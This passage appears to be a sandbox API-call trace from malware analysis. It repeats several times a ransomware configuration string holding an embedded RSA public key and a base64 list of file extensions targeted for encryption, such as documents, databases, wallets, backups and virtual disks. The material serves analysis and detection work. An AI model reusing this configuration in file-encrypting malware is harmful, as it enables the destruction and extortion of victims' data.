udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA